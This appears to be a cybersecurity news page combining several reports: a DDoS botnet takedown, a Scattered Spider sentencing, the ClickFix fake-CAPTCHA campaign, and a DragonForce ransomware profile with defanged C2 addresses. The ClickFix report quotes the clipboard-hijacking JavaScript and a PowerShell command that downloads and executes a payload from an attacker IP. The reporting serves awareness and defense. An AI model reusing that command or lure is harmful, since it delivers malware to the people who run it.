Federal investigators have dismantled one of the world’s most powerful distributed denial-of-service (DDoS) botnets and charged its alleged administrator with orchestrating cyberattacks that targeted victims across more than 80 countries.
Ethan Foltz, 22, of Eugene, Oregon, faces federal charges for allegedly operating the “Rapper Bot” botnet, also known as “Eleven Eleven Botnet” and “CowBot,” which conducted sophisticated DDoS attacks since at least 2021.
Key Takeaways 1. An Oregon man, 22, charged for operating a massive DDoS botnet, faces 10 years prison. 2. 370,000+ attacks across 80+ countries using 65,000-95,000 hijacked devices. 3. FBI seized control and shut down the botnet on August 6, 2025.
Massive Scale of Cyberattacks Revealed
The Rapper Bot operation represented a significant threat to global internet infrastructure, utilizing between 65,000 and 95,000 compromised devices to launch devastating attacks.
Court documents reveal that the botnet primarily infected Internet of Things (IoT) devices, including Digital Video Recorders (DVRs) and WiFi routers, by deploying specialized malware that converted these devices into unwitting participants in cyberattacks.
The scale of the operation was unprecedented, with investigators documenting over 370,000 attacks targeting 18,000 unique victims from April 2025 to the present.
These DDoS attacks are commonly measured between two and three terabits per second, with the largest attack potentially exceeding six terabits per second.
Such massive attack volumes could cost victims anywhere from $500 to $10,000 for a 30-second attack, not including lost revenue, customer dissatisfaction, and incident response costs.
The criminal enterprise monetized its illegal services by providing paying customers access to what prosecutors describe as “one of the most sophisticated and powerful DDoS-for-hire Botnets currently in existence”.
Targets included critical infrastructure such as U.S. government networks, popular social media platforms, and numerous technology companies.
Some clients allegedly used the botnet’s capabilities for extortion, leveraging the threat of massive DDoS attacks to force victims.
On August 6, 2025, the Defense Criminal Investigative Service (DCIS) executed a search warrant at Foltz’s residence, successfully terminating the botnet’s attack capabilities and seizing administrative control.
The disruption was part of Operation PowerOFF, an international law enforcement initiative targeting DDoS-for-hire infrastructures worldwide.
Industry partners, including Akamai, Amazon Web Services, Cloudflare, and Google, provided crucial assistance in the investigation.
Foltz faces allegations of assisting in computer intrusions, which carries a potential sentence of ten years in jail.
The case demonstrates law enforcement’s growing capability to combat sophisticated cybercriminal operations that threaten global internet security and infrastructure.
Safely detonate suspicious files to uncover threats, enrich your investigations, and cut incident response time. Start with an ANYRUN sandbox trial →
Cybersecurity researchers at CrowdStrike identified and thwarted a sophisticated malware campaign deploying SHAMOS, an advanced variant of the Atomic macOS Stealer (AMOS) malware, orchestrated by the cybercriminal group COOKIE SPIDER. Operating under a malware-as-a-service model, COOKIE SPIDER rents out this information stealer to affiliates who target victims to harvest sensitive data, including login credentials, cryptocurrency […]
A 20-year-old Florida man, identified as a key member of the prolific cybercrime group “Scattered Spider,” was sentenced to 10 years in federal prison today. Noah Michael Urban of Palm Coast, Fla., was also ordered to pay approximately $13 million in restitution to the victims of his schemes.
In April 2025, Urban pleaded guilty to charges of wire fraud and conspiracy. Prosecutors in Florida detailed how he and his co-conspirators successfully stole at least $800,000 from five individuals through sophisticated SIM-swapping attacks.
Urban Photo released
These attacks allowed the group to take control of the victims’ mobile phone numbers, intercepting calls and text messages, including one-time passwords and two-factor authentication codes, to gain unauthorized access to financial and cryptocurrency accounts.
This sentencing marks a significant development in the ongoing investigation into Scattered Spider, a group known for its highly effective and aggressive social engineering tactics.
According to court documents from related cases, the group’s operations extended far beyond individual SIM swaps, targeting dozens of large corporations to harvest employee credentials and sensitive customer data.
The group’s typical method involved sending SMS phishing messages to corporate employees, often disguised as urgent security alerts.
These messages would direct victims to specifically crafted phishing websites that mimicked legitimate company login pages, such as those for identity services like Okta. Once an employee entered their credentials, the attackers would capture them and use them to infiltrate the company’s internal.
After gaining a foothold, the cybercriminals would access customer information, which they then used to target individuals for cryptocurrency theft.
By combining stolen data with SIM-swapping techniques, Scattered Spider was able to bypass security measures and drain victims’ cryptocurrency wallets. Federal investigators have linked the group to the theft of millions of dollars in digital assets from numerous victims across the United States.
The investigation into Scattered Spider has revealed a complex and organized criminal enterprise that has targeted at least 45 companies in the U.S. and internationally.
Urban’s sentencing is the first among the group’s identified members and represents a major success for law enforcement’s efforts to dismantle these cybercrimes.
Safely detonate suspicious files to uncover threats, enrich your investigations, and cut incident response time. Start with an ANYRUN sandbox trial →
A sophisticated cybercrime operation has emerged, targeting unsuspecting internet users through a deceptive social engineering technique that exploits one of the web’s most trusted security mechanisms.
Since June 2024, the financially motivated threat group UNC5518 has been systematically compromising legitimate websites to inject malicious fake CAPTCHA verification pages, tricking visitors into unknowingly executing malware on their systems.
The attack campaign, dubbed “ClickFix” by security researchers, represents a particularly insidious form of social engineering that leverages users’ familiarity with routine CAPTCHA challenges. When victims encounter these fraudulent verification pages, they are presented with what appears to be a standard reCAPTCHA interface, complete with the familiar “I’m not a robot” checkbox and Google branding.
However, clicking on this seemingly innocuous element triggers a malicious JavaScript payload that automatically copies a PowerShell command to the user’s clipboard.
Google Cloud analysts identified that UNC5518 operates as an access-as-a-service provider, partnering with multiple affiliate threat groups to monetize their initial compromise capabilities.
The group’s sophisticated infrastructure supports various downstream actors, including UNC5774, which specializes in deploying the CORNFLAKE.V3 backdoor, and UNC4108, known for utilizing PowerShell-based tools and conducting extensive network reconnaissance.
Attack lifecycle (Source – Google Cloud)
The technical execution of this attack demonstrates remarkable attention to detail in mimicking legitimate web security practices.
The malicious JavaScript embedded within compromised websites creates a convincing CAPTCHA interface using code that closely resembles authentic Google reCAPTCHA implementations.
When victims interact with the fake verification system, the following code executes silently in the background:-
document.getElementById("j").onclick = function(){
var ta = document.createElement("textarea");
ta.value = _0xC;
document.body.appendChild(ta);
ta.select();
document[.]execCommand("copy");
This script automatically copies a carefully crafted PowerShell command to the victim’s clipboard, which appears as: powershell -w h -c "$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)%0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex".
The command is designed to download and execute additional malware payloads from attacker-controlled infrastructure.
Infection Mechanism and Payload Delivery
The ClickFix technique exploits a critical weakness in user behavior patterns, capitalizing on the widespread acceptance and trust associated with CAPTCHA systems.
Once the malicious PowerShell command is copied to the clipboard, victims are typically instructed through on-screen prompts to paste and execute the command using the Windows Run dialog (Windows+R), believing they are completing a legitimate verification process.
Upon execution, the PowerShell script initiates a sophisticated multi-stage infection chain that includes comprehensive anti-analysis measures.
The malware performs environment checks to detect virtual machines and sandboxes, examining system memory configurations and manufacturer information to evade security research environments.
If these checks pass, the script downloads Node.js runtime components from legitimate sources and deploys the CORNFLAKE.V3 backdoor, which establishes persistent access through registry modifications and enables comprehensive system reconnaissance activities including Active Directory enumeration and Kerberoasting credential harvesting techniques.
Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.
Security researchers have uncovered a critical series of vulnerabilities in Commvault’s backup and data management software that could enable attackers to achieve remote code execution and compromise on-premises infrastructure. The flaws, discovered by Watchtowr Labs, represent a significant threat to organizations relying on Commvault’s widely-deployed backup solutions. The vulnerability chain consists of four distinct security […]
DragonForce represents a sophisticated and rapidly evolving ransomware operation that has emerged as a significant threat in the cybersecurity landscape since late 2023.
Operating under a Ransomware-as-a-Service (RaaS) model, this group has demonstrated exceptional adaptability by leveraging leaked ransomware builders from notorious families like LockBit 3.0 and Conti to create customized attack variants.
The organization has successfully targeted high-profile victims across multiple sectors, including government entities, retail giants, and critical infrastructure, with notable attacks against the Ohio Lottery, Palau government, and major UK retailers like Marks & Spencer.
Their operations combine advanced technical capabilities with professional business practices, offering affiliates up to 80% of ransom payments while providing comprehensive attack infrastructure and support services.
DragonForce first appeared in December 2023 with the launch of their “DragonLeaks” dark web portal, quickly establishing themselves as a formidable player in the ransomware ecosystem.
The group’s origins trace back to possible connections with DragonForce Malaysia, a hacktivist collective, though the current operation has evolved into a purely profit-driven enterprise.
By 2025, DragonForce has matured into a sophisticated RaaS platform that attracts both displaced affiliates from dismantled ransomware operations and freelance threat actors seeking robust infrastructure.
The organization operates two distinct ransomware variants based on leaked source code from established families. Their initial variant utilized the leaked LockBit 3.0 (Black) builder, allowing them to rapidly deploy effective ransomware without developing complex encryption mechanisms from scratch.
In July 2024, DragonForce introduced a second variant based on the Conti V3 codebase, providing affiliates with enhanced customization capabilities. This dual-variant approach demonstrates the group’s technical sophistication and commitment to providing affiliates with diverse attack options.
The group’s business model reflects modern cybercrime trends, offering a comprehensive platform that includes attack management tools, automated features, and customizable builders.
Affiliates can tailor ransomware samples by disabling targeted security features, configuring encryption parameters, and personalizing ransom notes.
In early 2025, DragonForce expanded its offerings by introducing a white-label ransomware service, enabling affiliates to rebrand payloads under alternative names for additional fees.
Attack Vectors and Initial Access Techniques
DragonForce employs multiple sophisticated vectors to achieve initial access to target networks, demonstrating the group’s understanding of diverse organizational vulnerabilities.
Phishing campaigns remain a primary attack vector, with operators crafting convincing spear-phishing emails containing malicious attachments or links that deploy ransomware payloads when executed by unsuspecting users.
These campaigns often target specific individuals within organizations using social engineering techniques to increase success rates.
Exploitation of known vulnerabilities represents another critical attack vector, with DragonForce operators actively targeting unpatched systems.
The group has specifically been associated with exploiting several high-impact vulnerabilities, including CVE-2021-44228 (Log4Shell), CVE-2023-46805 (Ivanti Connect Secure Authentication Bypass), CVE-2024-21412 (Microsoft Windows SmartScreen Bypass), CVE-2024-21887 (Ivanti Connect Secure Command Injection), and CVE-2024-21893 (Ivanti Connect Secure Path Traversal).
DragonForce affiliates systematically target organizations with poorly secured remote access infrastructure, leveraging stolen or weak credentials to establish a persistent network presence.
The group also exploits trusted relationships, as demonstrated in a recent incident where attackers gained access through remote management software installed by a previous hosting company that was never properly removed.
In some cases, DragonForce operators have gained initial access by exploiting compromised managed service provider (MSP) relationships, allowing them to move laterally across multiple client environments through trusted connections.
This technique amplifies the impact of individual breaches by providing access to numerous organizations through a single compromise point.
Remote Desktop Protocol (RDP) and VPN attacks constitute significant initial access methods, with operators conducting credential stuffing attacks and brute-force operations against exposed services.
Cyber Kill Chain. (Source: cybersecuritynews.com)
Tactics, Techniques, and Procedures (TTPs)
DragonForce’s operational methodology follows the MITRE ATT&CK framework across multiple tactics, demonstrating a sophisticated understanding of enterprise network compromise techniques.
Exploits compromised MSP relationships and previous hosting company access
Medium
High
Execution
T1204.002
Malicious File
Social engineering users to execute ransomware payloads, moves files to System32
High
Low
Execution
T1059.001
PowerShell
Uses PowerShell for command execution, payload deployment, and system reconnaissance
High
Medium
Execution
T1053.005
Scheduled Task/Job
Creates scheduled tasks for persistence and automated execution
Medium
Low
Persistence
T1574.011
Services File Permissions Weakness
Installs AnyDesk remote access tool for persistent backdoor access
High
Medium
Persistence
T1053.005
Scheduled Task/Job
Establishes scheduled tasks to maintain persistence across reboots
Medium
Low
Persistence
T1547.001
Registry Run Keys / Startup Folder
Modifies registry Run keys to ensure malware execution at startup
Medium
Low
Privilege Escalation
T1134
Access Token Manipulation
Duplicates SYSTEM-level access tokens using DuplicateTokenEx() API
High
High
Privilege Escalation
T1068
Exploitation for Privilege Escalation
Leverages known vulnerabilities for escalation to administrator privileges
Medium
Medium
Defense Evasion
T1027
Obfuscated Files or Information
Embeds Chinese text signatures, uses code obfuscation techniques
High
High
Indicators of Compromise (IoCs)
Security teams should monitor for specific indicators associated with DragonForce campaigns to enable early detection and response.
Network indicators include command and control server IP addresses: 2[.]147[.]68[.]96, 185[.]59[.]221[.]75, and 69[.]4[.]234[.]20. Notably, early campaign infrastructure was identified in Iran, suggesting international collaboration or infrastructure rental.
The Marks & Spencer incident in April 2025 caused estimated losses of £300 million and months-long operational disruption, with attackers sending direct emails to the CEO demanding ransom payments.
These cases illustrate DragonForce’s capability to target both government infrastructure and private sector organizations with devastating effectiveness, emphasizing the critical need for comprehensive cybersecurity measures and incident response planning.
Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates.
The financially motivated threat group UNC5518 has been infiltrating trustworthy websites to install ClickFix lures, which are misleading phony CAPTCHA pages, as part of a complex cyber campaign that has been monitored since June 2024. These malicious pages trick users into executing downloader scripts that initiate infection chains, often leading to malware deployment by affiliated […]
Cybersecurity researchers have disclosed details of a new malware loader called QuirkyLoader that’s being used to deliver via email spam campaigns an array of next-stage payloads ranging from information stealers to remote access trojans since November 2024.
Some of the notable malware families distributed using QuirkyLoader include Agent Tesla, AsyncRAT, Formbook, Masslogger, Remcos RAT,
As security professionals, it’s easy to get caught up in a race to counter the latest advanced adversary techniques. Yet the most impactful attacks often aren’t from cutting-edge exploits, but from cracked credentials and compromised accounts. Despite widespread awareness of this threat vector, Picus Security’s Blue Report 2025 shows that organizations continue to struggle with preventing
Cybersecurity researchers are highlighting a dangerous attack technique that combines rogue IPv6 configuration with NTLM credential relay to achieve complete Active Directory domain compromise, exploiting default Windows configurations that most organizations leave unchanged. Attack Leverages Default Windows IPv6 Behavior The MITM6 + NTLM Relay attack exploits Windows systems’ automatic DHCPv6 requests, even in networks that […]
.webp)
